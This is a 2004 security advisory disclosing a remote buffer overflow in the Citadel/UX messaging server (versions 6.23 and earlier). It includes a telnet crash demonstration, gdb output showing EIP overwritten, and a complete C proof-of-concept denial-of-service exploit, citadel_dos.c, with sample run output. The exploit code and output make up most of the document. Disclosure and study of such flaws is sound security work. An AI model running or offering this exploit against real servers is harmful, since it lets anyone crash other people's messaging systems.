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No System Group - Advisory #04 - 28/07/04

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Program: Citadel/UX

Homepage: http://www.citadel.org

Operating System: Linux and Unix-Compatible

Vulnerable Versions: Citadel/UX v6.23 and prior

Risk: Medium / High

Impact: Remote Denial of Service Vulnerability

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- DESCRIPTION

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Citadel/UX is an advanced client/server messaging and

collaboration system for BBS and groupware applications.

Users can connect to Citadel/UX using any telnet, WWW,

or client software. Among the features supported are

public and private message bases (rooms), electronic

mail, real-time chat, paging, etc. The server is

multithreaded and can easily support a large number of

concurrent users. In addition, SMTP, IMAP, and POP3

servers are built-in for easy connection to Internet

mail. Citadel/UX is both robust and mature, having been

developed over the course of the past thirteen years.

More informations at: http://www.citadel.org

- DETAILS

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When sending a USER to Citadel/UX (port 504) longer than

97 bytes, an overflow will occur and EIP will be

overwriten.

coki@servidor:~$ telnet localhost 504

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

200 servidor Citadel/UX server ready.

USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAA

Connection closed by foreign host.

coki@servidor:~$

Now we proceed to open gdb to view what may have occured.

root@servidor:~# ps -ax | grep "citserver -d"

20147 pts/2 S 0:00 /usr/local/citadel/citserver -d

root@servidor:~# gdb citserver 20147

GNU gdb 5.3

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public

License, and you are welcome to change it and/or distribute

copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show

warranty" for details. This GDB was configured as

"i386-slackware-linux"...citserver: No such file or directory.

Attaching to process 20147

Reading symbols from /usr/local/citadel/citserver...done.

Reading symbols from /lib/libpthread.so.0...done.

Loaded symbols for /lib/libpthread.so.0

Reading symbols from /lib/libncurses.so.5...done.

Loaded symbols for /lib/libncurses.so.5

Reading symbols from /lib/librt.so.1...done.

Loaded symbols for /lib/librt.so.1

Reading symbols from /usr/lib/libz.so.1...done.

Loaded symbols for /usr/lib/libz.so.1

Reading symbols from /lib/libresolv.so.2...done.

Loaded symbols for /lib/libresolv.so.2

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

Reading symbols from /lib/libnss_compat.so.2...done.

Loaded symbols for /lib/libnss_compat.so.2

Reading symbols from /lib/libnsl.so.1...done.

Loaded symbols for /lib/libnsl.so.1

0x401072e1 in sigpending () from /lib/libc.so.6

(gdb) c

Continuing.

Program received signal SIG32, Real-time event 32.

0x401072e1 in sigpending () from /lib/libc.so.6

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x61616161 in ?? ()

(gdb) i r esp ebp eip

esp 0xbfffc890 0xbfffc890

ebp 0x61616161 0x61616161

eip 0x61616161 0x61616161

(gdb) q

The program is running. Quit anyway (and detach it)? (y or n) y

Detaching from program: /usr/local/citadel/citserver, process 20147

root@servidor:~#

The server does a tolower() (converts an uppercase letter to the

corresponding lowercase letter) on the buffer before the overflow

occurs, thus limiting the number of instructions we can use.

- EXPLOIT

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----------------- citadel_dos.c -----------------

/* citadel_dos.c

*

* Citadel/UX Remote DoS exploit (Proof of Concept)

*

* Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0

*

* by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>

* No System Group - http://www.nosystem.com.ar

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <errno.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/types.h>

#include <sys/fcntl.h>

#include <netinet/in.h>

#include <sys/socket.h>

#define BUFFERSIZE 96+1

#define ERROR -1

#define TIMEOUT 3

#define PORT 504

int connect_timeout(int sfd, struct sockaddr *serv_addr,

socklen_t addrlen, int timeout);

void use(char *program);

int main(int argc, char *argv[]) {

char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE];

int sockfd;

struct hostent *he;

struct sockaddr_in dest_dir;

if(argc != 2) use(argv[0]);

p = buffer;

printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n");

printf(" by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>\n\n");

memset(p, 'A', 96);

p += 92;

*p = '\0';

printf(" [+] verifying host:\t");

fflush(stdout);

if((he=gethostbyname(argv[1])) == NULL) {

herror("Error");

printf("\n");

exit(1);

}

printf("OK\n");

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {

perror("Error");

printf("\n");

exit(1);

}

dest_dir.sin_family = AF_INET;

dest_dir.sin_port = htons(PORT);

dest_dir.sin_addr = *((struct in_addr *)he->h_addr);

bzero(&(dest_dir.sin_zero), 8);

printf(" [+] conecting...\t");

fflush(stdout);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,

sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf("Closed\n\n");

exit(1);

}

printf("OK\n");

printf(" [+] sending exploit...\t");

fflush(stdout);

recv(sockfd, temp, sizeof(temp), 0);

send(sockfd, "USER ", 5, 0);

send(sockfd, buffer, strlen(buffer), 0);

send(sockfd, "\n", 1, 0);

close(sockfd);

printf("OK\n\n");

}

int connect_timeout(int sfd, struct sockaddr *serv_addr,

socklen_t addrlen, int timeout) {

int res, slen, flags;

struct timeval tv;

struct sockaddr_in addr;

fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);

FD_ZERO(&wrf);

FD_SET(sfd, &rdf);

FD_SET(sfd, &wrf);

bzero(&tv, sizeof(tv));

tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)

return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {

slen = sizeof(addr);

if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)

return -1;

flags = fcntl(sfd, F_GETFL, NULL);

fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;

}

return -1;

}

void use(char *program) {

printf("Use: %s <host>\n", program);

exit(1);

}

----------------- citadel_dos.c -----------------

coki@servidor:~$ make citadel_dos

coki@servidor:~$ ./citadel_dos localhost

Citadel/UX Remote DoS exploit (Proof of Concept)

by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>

[+] verifying host: OK

[+] conecting... OK

[+] sending exploit... OK

coki@servidor:~$

- SOLUTIONS

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Vendor contacted but does not answer

- REFERENCES

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http://www.nosystem.com.ar/advisories/advisory-04.txt

- CREDITS

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Discovered by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>

No System Group - http://www.nosystem.com.ar

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